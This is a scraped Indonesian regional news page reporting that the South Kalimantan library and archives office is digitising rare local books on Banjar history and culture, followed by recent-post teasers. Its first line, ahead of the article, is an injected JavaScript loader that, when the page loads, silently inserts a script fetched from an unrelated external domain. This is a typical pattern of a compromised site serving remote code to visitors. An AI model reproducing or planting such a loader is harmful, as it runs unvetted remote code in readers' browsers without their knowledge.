(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dispersip Kalsel

Pelestarian Bahan Pustaka, Dispersip Kalsel Alih Media dari Cetak ke Digital


KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan menerapkan alih media pelestarian bahan pustaka. Selain melakukan pemeliharaan, perawatan, pengawetan, dan perbaikan.

Hal itu dilakukan Dispersip Kalsel pada bahan pustaka yang bernilai sejarah, seperti naskah kuno, buku langka, atau bahan pustaka yang memiliki kondisi fisik yang sudah rapuh dan tua.

“Alih media digital adalah salah satu kegiatan melestarikan bahan pustaka khazanah budaya bangsa, dengan mengalih bentuk dari bentuk asli ke bentuk media digital,” ungkap Kepala Dispersip Kalsel Dra Hj Nurliani Dardie melalui Kabid Pelayanan dan Pembinaan Wildan Akhyar, Jumat (18/2/2022).

Kabid Pelayanan dan Pembinaan menjelaskan, koleksi perpustakaan yang berbentuk cetak dari kertas, tidaklah dapat bertahan lama seiring dengan bertambahnya usia fisik. Sehingga menyebabkan kerusakan dari segi fisiknya baik akibat faktor internal maupun eksternal.

 

 

Baca juga: Vaksinasi Booster Dimulai, Bupati Banjar Suntik Dosis Ketiga

“Hal itu dilakukan seksi deposit, dipilih buku-buku bermuatan lokal. Seperti buku-buku sejarah Banjar, adat istiadat Banjar, kebudayaan Banjar, kesenian Banjar, dan hal-hal yang berhubungan dengan tradisi orang Banjar, tradisi turun-temurun masyarakat, apalagi buku-buku langka dan sudah tua usianya,” beber Wildan.

Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan menerapkan alih media pelestarian bahan pustaka. Foto: dispersipkalsel  

Selain sebagai upaya pelestarian koleksi yang bernilai historis, alih media digital juga sebagai upaya penyelamatan informasi yang terkandung di dalam bahan pustaka. Agar bisa terus dimanfaatkan oleh masyarakat dan generasi penerus.

“Khusus koleksi buku-buku itu, para pemustaka tidak diperkenankan untuk membawa pulang, hanya boleh dibaca di tempat,” tegas Wildan.

Dispersip Kalsel menargetkan dapat melakukan alih media digital sebanyak 50 judul, yang saat ini telah berjumlah ratusan, terkumpul dari tahun demi tahun berbentuk DVD.

Baca juga: “Jalan Bubur” Kini Sudah Mulus, Warga LUS Malah Takut Nyeberang

Pemeliharaan tersebut, jelas Wildan, juga sebagai pelaksanaan Undang-Undang Nomor 43 Tahun 2007 tentang Perpustakaan, dan UU Nomor 13 Tahun 2018 tentang serah simpan karya cetak dan karya rekam. (Kanalkalimantan.com/rls)

Reporter : rls
Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.